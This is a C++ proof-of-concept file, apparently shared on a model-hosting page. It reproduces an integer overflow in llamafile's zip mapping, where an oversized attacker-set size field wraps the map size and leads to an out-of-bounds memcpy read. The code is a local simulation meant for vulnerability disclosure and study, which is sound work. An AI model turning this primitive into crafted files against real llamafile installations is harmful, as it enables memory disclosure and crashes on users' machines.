llamafile-mapsize-oob-poc / mapsize_repro.cpp
ybgwon96's picture
Upload folder using huggingface_hub
150ceaf verified
Raw
History Blame Contribute Delete
1.57 kB
// Faithful to llamafile.c:226-241 + llamafile_read:386-392
// mapsize = skew + size (wraps); content = mapping + skew (may be past mapping);
// read uses memcpy(ptr, content + position, amt) with amt from unwrapped size.
#include <cstdio>
#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <vector>
int main() {
long pagesz = 16384;
off_t off = 100; // local header end offset
off_t mapoff = off & -pagesz;
long skew = (long)(off - mapoff); // 100
// Attacker zip compressed size field near SIZE_MAX so skew+size wraps
size_t file_size = SIZE_MAX - (size_t)skew + 16; // mapsize wraps to 16
size_t mapsize = (size_t)skew + file_size;
fprintf(stderr, "skew=%ld file_size=%zu mapsize=%zu (wrapped)\n", skew, file_size, mapsize);
// mapping is only mapsize bytes
std::vector<char> mapping(mapsize ? mapsize : 1, 'A');
char *content = (char *)mapping.data() + skew; // past end when mapsize < skew
fprintf(stderr, "mapping=%p end=%p content=%p (past_end=%d)\n",
(void *)mapping.data(), (void *)(mapping.data() + mapping.size()),
(void *)content, content >= mapping.data() + mapping.size());
// llamafile_read when position=0, len=64, trusts file->size (huge)
size_t position = 0;
size_t len = 64;
if (position <= file_size) {
size_t remain = file_size - position;
size_t amt = len < remain ? len : remain;
char ptr[64];
// This is the real OOB read primitive
memcpy(ptr, content + position, amt);
fprintf(stderr, "memcpy OOB completed (unexpected if unmapped)\n");
}
return 0;
}